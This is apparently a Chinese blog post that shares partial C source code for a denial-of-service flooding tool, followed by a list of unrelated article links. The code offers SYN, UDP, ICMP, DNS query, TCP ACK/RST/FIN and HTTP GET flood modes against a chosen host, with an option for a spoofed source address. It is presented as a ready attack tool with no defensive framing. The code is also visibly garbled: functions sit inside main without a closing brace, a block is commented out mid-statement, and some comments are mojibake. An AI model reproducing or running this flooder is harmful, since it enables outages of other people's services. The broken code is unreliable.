attack source code
不废话,直接上代码,
先看截图use pictures;
2.source code
部分主要代码
void help_length(void)
{
printf("\n This is not the correct format about option \" -l \".\n"
" format: \" :<number> | <number>: | <number_1>:<number_2> \"\n\n");
exit (1);
}
static unsigned short inline checksum(unsigned short *buffer,int size);
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size);
unsigned short proto_data_len=0;
char * get_rand_str(char * __proto_char,unsigned short __proto_char_len,\
char * __proto_str,int str_len);
char * get_rand_dn (char *__str_str,int len);
void send_tcp (int sockfd,struct sockaddr_in *addr,char *mode);
void send_udp (int sockfd,struct sockaddr_in *addr);
void send_icmp (int sockfd,struct sockaddr_in *addr);
void send_udp_frag (int sockfd,struct sockaddr_in *addr);
void send_dns_query_flood (int sockfd,struct sockaddr_in *addr);
void build_dns_querybuf (char *name_str);
void build_dns_querybuf_random (char *_str_one,char *_str_second,char *_str_suffix,char *_str_str);
void send_get_flood(int sockfd,char *uri,int send_count);
void send_synclink (int sockfd,struct sockaddr_in *addr);
void send_packets_delay();
void sig_int (int sigo);
//static void *pthread_func(void *vptr_args);
fd_set rset,drset;
struct protocol_fake_header {
unsigned long saddr;
unsigned long daddr;
char mbz;
char proto;
unsigned short header_len;
};
struct icmphdr {
char type;
char code;
unsigned short checksum;
unsigned short id;
unsigned short seq;
};
struct dnshdr_prefix {
unsigned short id; /* random() */
unsigned short flags; /* 0x0100 */
unsigned short questions; /* 0x0001 */
unsigned short answers; /* 0x0000 */
unsigned short author; /* 0x0000 */
unsigned short addition; /* 0x0000 */
};
struct dnshdr_suffix {
unsigned short int type; /* 0x0001 */
unsigned short int class; /* 0x0001 */
};
int i = 0;
int a = 0;
int port;
int count=0;
int nw;
int n=0;
int gsockfd[MAX_SOCKFD];
unsigned int send_get_number=0;
unsigned short hostname_len;
unsigned short iph_len;
unsigned short tcph_len;
unsigned short udph_len;
unsigned short icmph_len;
unsigned short dnsh_prefix_len;
unsigned short dnsh_center_len;
unsigned short dnsh_len;
unsigned short data_len=0;
unsigned short pkg_len; /* length of iphdr + udphdr + dnshdr + querybuf + suffix(4) */
unsigned long packet_delay=0;
char number ;
char * QueryBuf;
unsigned len_a=0,len_b;
char _domain_name_char[]="0123456789abcdefghijklmnopqrstuvwxyz";
char * p_str; /* used by Fun build_dns_querybuf */
char * dn_suffix[]={"null","com","cn","net","org","gov","cc","biz"};
char p_str_center[256];
unsigned dn_suffix_tnum=6;
unsigned short dn_suffix_num;
char dn_suffix_len;
unsigned long sum=0;
unsigned long int send_count=0;
char PRINT_MODE[20]="SYN Flood"; /* 鏄剧ず鏇翠负鐞嗚В鐨勬敾鍑荤被鍨?鐢ㄥ湪绋嬪簭杩愯鏃舵樉绀?*/
char *pbuf;
char datasize[60];
char *pds; /* used by datasize */
unsigned short int data_size_max=0;
unsigned short int data_size_min=0;
unsigned short int tcp_syn_data_size_max=TCP_SYN_DATA_SIZE_MAX;
unsigned short int tcp_syn_data_size_min=TCP_SYN_DATA_SIZE_MIN;
unsigned short int udp_data_size_max;
unsigned short int udp_data_size_min;
unsigned short int icmp_data_size_max=ICMP_DATA_SIZE_MAX;
unsigned short int icmp_data_size_min=ICMP_DATA_SIZE_MIN;
int sockfd;
int dn;
int i,ii;
int _proto_char_len;
char proto_data[1460]="rand";
char buffer[1501]; /* store data from gsockfd[i] (server ) */
char buf[20];
int buf_len;
char ipdata[20];
char srcip[20];
char domainname[50];
char hostname[50];
char hostport[8];
char uri[1024]=URI;
char mode[8]=MODE;
char http_head_get[1024]=HTTP_HEAD_GET;
struct sockaddr_in to;
struct hostent *host;
struct timeval tv,pdelay;
struct timeval pstart,pend;
unsigned long int pdelay_sec=0,pdelay_usec=0;
float timeuse;
struct iphdr *iph;
struct udphdr *udph;
struct dnshdr_prefix *dnsh_prefix;
struct dnshdr_suffix *dnsh_suffix;
/* ============= Main Function ========= */
int main(int argc,char **argv)
{
if(argc!=3 && argc!=5 && argc!=7 && argc!=9 && argc!=11 && argc != 13 && argc != 15)
help();
int on=1;
bzero(ipdata,20);
bzero(srcip,20);
bzero(&to,sizeof(to));
int cn;
while((cn=getopt(argc,argv,"c:m:h:p:S:s:u:l:d:"))!=EOF)
{
switch(cn)
{
case 'm':
strcpy(mode,optarg);
if(strcmp((mode),"syn")==0) {
strcpy(PRINT_MODE,"SYN Flood");
break;
}
if(strcmp((mode),"asyn")==0) {
strcpy(PRINT_MODE,"SYN+ACK Flood");
break;
}
if(strcmp((mode),"dsyn")==0) {
strcpy(PRINT_MODE,"SYN+data Flood");
break;
}
if(strcmp((mode),"dns")==0) {
strcpy(PRINT_MODE,"DNS Query Flood");
break;
}
if(strcmp((mode),"udp")==0) {
strcpy(PRINT_MODE,"UDP Flood");
break;
}
if(strcmp((mode),"icmp")==0) {
strcpy(PRINT_MODE,"ICMP ECHO Flood");
break;
}
if(strcmp((mode),"ufrag")==0) {
strcpy(PRINT_MODE,"UDP Frag Flood");
break;
}
if(strcmp((mode),"ack")==0) {
strcpy(PRINT_MODE,"TCP ACK Flood");
break;
}
if(strcmp((mode),"pack")==0) {
strcpy(PRINT_MODE,"TCP PSH ACK Flood");
break;
}
if(strcmp((mode),"rack")==0) {
strcpy(PRINT_MODE,"TCP RST ACK Flood");
break;
}
if(strcmp((mode),"fack")==0) {
strcpy(PRINT_MODE,"TCP FIN ACK Flood");
break;
}
if(strcmp((mode),"gack")==0) {
strcpy(PRINT_MODE,"HTTP GET ACK Flood");
break;
}
if(strcmp((mode),"gfld")==0) {
strcpy(PRINT_MODE,"HTTP GET Flood");
break;
}
if(strcmp((mode),"synclink")==0) {
strcpy(PRINT_MODE,"Sync Link test");
break;
}
else
help();
break;
case 'h':
strcpy(hostname,optarg);
hostname_len=strlen(hostname);
if(isdigit(hostname[hostname_len-1])) {
to.sin_addr.s_addr=inet_addr(hostname);
strcpy(ipdata,hostname);
}
else if((host=gethostbyname(hostname))==NULL) {
printf(" resolv ip failed.\n");
exit(1);
}
else {
inet_ntop(AF_INET,host->h_addr_list[0],ipdata,sizeof(ipdata));
to.sin_addr.s_addr=inet_addr(ipdata);
}
break;
case 'p':
strcpy(hostport,optarg);
break;
case 'S':
strcpy(srcip,optarg);
break;
case 'c':
send_count=atoi(optarg);
break;
case 'u':
strcpy(uri,optarg);
break;
case 's':
strncpy(proto_data,optarg,strlen(optarg));
break;
case 'd':
strcpy(buf,optarg);
buf_len=strlen(buf);
if(buf[buf_len-2]=='m' && buf[buf_len-1]=='s') {
buf[buf_len-2]=0;
pdelay_sec=0;
pdelay_usec=(long int)atoi(buf);
}
else if(buf[buf_len-1]=='s') {
buf[buf_len-1]=0;
pdelay_sec=atoi(buf);
pdelay_usec=0;
}
else if(isdigit(buf[buf_len-1])) {
pdelay_sec=0;
pdelay_usec=(long int)atoi(buf);
}
else {printf(" enter time error.\n");exit(1);}
break;
case 'l':
strcpy(datasize,optarg);
if( (48 <= datasize[0] && datasize[0] <=58) && (48 <= datasize[strlen(datasize)-1] && datasize[strlen(datasize)-1]<= 58) )
if( datasize[0]==':' ) { /* :20 */
pds=strtok(datasize,":");
if(pds !=NULL) { data_size_min=DATA_SIZE_MIN; data_size_max=atoi(pds); }
else help_length();
}
else if( datasize[strlen(datasize)-1] == ':' ) { /* 4: */
pds=strtok(datasize,":");
if(pds != NULL) { data_size_min=atoi(pds); data_size_max=DATA_SIZE_MAX;}
else help_length();
}
else { /* 5:9 */
pds=strtok(datasize,":");
if(pds != NULL) data_size_min=atoi(pds);
pds=strtok(NULL,":");
if(pds != NULL) data_size_max=atoi(pds);
}
else {
}
if( data_size_max == 0) data_size_max=data_size_min;
if( data_size_max<data_size_min)
{
printf(" data_size_min(100) > data_size_max(%d) !!!\n",data_size_max);
exit (1);
}
if( data_size_max>1460)
{
printf(" data_size_max is 1460 !\n");
exit (1);
}
break;
default:
help();
break;
}
}
if (data_size_min == 0 && data_size_max == 0)
{
data_size_min=DATA_SIZE_MIN;
data_size_max=DATA_SIZE_MAX;
}
// printf(" datasize min=%d max=%d\n",data_size_min,data_size_max);
/* 寰楀埌闅忔満鐨勫煙鍚嶅瓧绗?*/
char * get_rand_dn (char *___str_str,int str_len)
{
int len=strlen(_domain_name_char);
for (ii=0;ii<str_len;ii++){
___str_str[ii]=_domain_name_char[rand()%(len-1)+1];
}
// printf (" over for \n");
return ___str_str;
}
void send_packets_delay( )
{
pdelay.tv_sec=pdelay_sec;
pdelay.tv_usec=pdelay_usec;
#ifdef DEBUG
printf(" pdelay.sec=%ld\n",pdelay.tv_sec);
printf(" pdelay.usec=%ld\n",pdelay.tv_usec);
#endif
FD_ZERO(&drset);
FD_SET(sockfd,&drset);
select(sockfd+1,NULL,NULL,NULL,&pdelay);
}
/* ============ Pthread Function =========== */
/* static void *pthread_func(void *vptr_args)
{
printf(" enter pthread[]\n");
int sockfd;
fd_set rset;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){
printf(" create sockfd error from pthread_fun.\n");
pthread_exit("Thank you for the CPU time");
}
a=connect(sockfd,(struct sockaddr *)&to,sizeof(to));
if(a==0)
{
write(sockfd,http_head_get,strlen(http_head_get));
printf(" send get request to server .\n");
select
tv.tv_sec=0;
tv.tv_usec=5;
FD_ZERO(&rset);
FD_SET(sockfd,&rset);
select(sockfd+1,&rset,NULL,NULL,&tv);
while (1)
{
nw++;
if(FD_ISSET(sockfd,&rset)) {
printf(" enter while\n");
n=read(sockfd,buffer,1500);
printf(" read data ....");
if(n==0) {
printf(" Accept fin and close sockfd[]\n");
close(sockfd);
FD_CLR(sockfd,&rset);
break;
}
if(n<0) {
printf(" Accept rst and close sockfd[]\n");
close(sockfd);
FD_CLR(sockfd,&rset);
break;
}
else
printf("read data\n");
*/
// } /* end of if(FD_ */
/* else
printf(" not can be read \n");
} */ /* end of while */
// } /* end of if(a==0) */
/* else
{
printf(" connect_status:%d errno=%d close_sockfd[]\n\n",a,errno);
close(sockfd);
}
send_get_number++;
return 0;
}
*/
/* =============== check sum function =============== */
static unsigned short inline checksum(unsigned short *buffer,int size){
unsigned long cksum = 0;
while(size>1){
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if(size){
cksum += *(unsigned char *)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return((unsigned short )(~cksum));
}
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size)
{
char *buf;
struct protocol_fake_header *pfh;
int pfh_len = sizeof(struct protocol_fake_header);
buf = (char *)malloc(pfh_len+size);
pfh = (struct protocol_fake_header *)buf;
memcpy(buf+pfh_len,buffer,size);
pfh->saddr = saddr;
pfh->daddr = daddr;
pfh->mbz = 0;
if(strcmp(proto,"tcp")==0) {
pfh->proto = IPPROTO_TCP;
pfh->header_len = htons(tcph_len);
}
if(strcmp(proto,"udp")==0) {
pfh->proto = IPPROTO_UDP;
pfh->header_len = htons(udph_len);
}
sum = checksum((unsigned short*)buf,pfh_len+size);
free(buf);
return (sum);
}
attack source code的更多相关文章
- Source Code Review
1.berfore we talking abnout the Source Code review,here's what we want to know about the most popula ...
- Tips for newbie to read source code
This post is first posted on my WeChat public account: GeekArtT Reading source code is always one bi ...
- 编程等宽字体Source Code Pro(转)
Source Code Pro - 最佳的免费编程字体之一!来自 Adobe 公司的开源等宽字体下载 每一位程序员都有一套自己喜爱的代码编辑器与编程字体,譬如我们之前就推荐过一款"神 ...
- How to build the Robotics Library from source code on Windows
The Robotics Library is an open source C++ library for robot kinematics, motion planning and control ...
- How to build windows azure PowerShell Source Code
Download any version source code of Windows Azure Powershell from https://github.com/Azure/azure-sdk ...
- akka cluster sharding source code 学习 (1/5) 替身模式
为了使一个项目支持集群,自己学习使用了 akka cluster 并在项目中实施了,从此,生活就变得有些痛苦.再配上 apache 做反向代理和负载均衡,debug 起来不要太酸爽.直到现在,我还对 ...
- view class source code with JAD plugin in Eclipse
The default class viewer doesn't decompile the class file so you cannot open and check the source co ...
- Classic Source Code Collected
收藏一些经典的源码,持续更新!!! 1.深度学习框架(Deep Learning Framework). A:Caffe (Convolutional Architecture for Fast Fe ...
- Attach source code to a Netbeans Library Wrapper Module
http://rubenlaguna.com/wp/2008/02/22/attach-source-code-to-a-netbeans-library-wrapper-module/ Attach ...
随机推荐
- X-Mirage苹果屏幕录制工具7天试用期破解 imsoft.cnblogs
X-Mirage (PC) 能让你的 Windows 变成一个 iPhone.iPad 或者 iPod Touch 的屏幕镜像,应用程序.游戏.照片.视频等等一切可以在 iOS 移动端显示的东西,都镜 ...
- 51Nod - 1001:数组中和等于K的数对
基准时间限制:1 秒 空间限制:131072 KB 分值: 5 难度:1级算法题 给出一个整数K和一个无序数组A,A的元素为N个互不相同的整数,找出数组A中所有和等于K的数对.例如K = 8,数组A: ...
- test20180922 古代龙人的谜题
题意 问题描述 Mark Douglas是一名调查员.他接受了「调查古代龙人」的任务.经过千辛万苦,Mark终于找到了一位古代龙人.Mark找到他时,他正在摆弄一些秘药,其中一些药丸由于是从很久以前流 ...
- day32 多进程
一 multiprocessing模块介绍 python中的多线程无法利用多核优势,如果想要充分地使用多核CPU的资源(os.cpu_count()查看),在python中大部分情况需要使用多进程. ...
- 00.嵌入式Linux开发环境搭建
3.虚拟机上网配置 虚拟机如果要从网上获取资源,就要能够访问外网.虚拟机有三种上网方式:桥接上网,NAT上网,单主机模式[没用过].本节从原理和操作2个方面讲了NAT方式和桥接方式这2种不同的虚拟机 ...
- php获取并删除数组的第一个和最后一个元素
php中如何获取并删除数组的第一个或者最后一个元素?其实这两个过程都可以通过php自带的函数 array_pop 和 array_shift 来完成,下面就具体介绍一下如何来操作.(1)使用 arra ...
- POJ2559最大矩形面积——单调栈
题目:http://poj.org/problem?id=2559 #include<iostream> #include<cstdio> using namespace st ...
- C#创建文件夹和文件
一.创建文件夹,例: if (!Directory.Exists(path)) { Directory.CreateDirectory(path); } 二.创建文件,例: global::Syste ...
- 【python】class之类的定义
使用class定义类,可以提供一个可选的父类或者基类,如果没有合适的基类,那就使用object作为基类,也可以不写.class FooClass (object)或者class FooClass: v ...
- Linux内核编译:很少有人提及的一些内容
1. 你可以使用O=参数将编译结果放到其他位置(非源代码目录),例如:make O=~/build ... 这样做的好处是你的源代码目录不会受到任何改变:你甚至可以在不同的体系结构间共享源代码. 注意 ...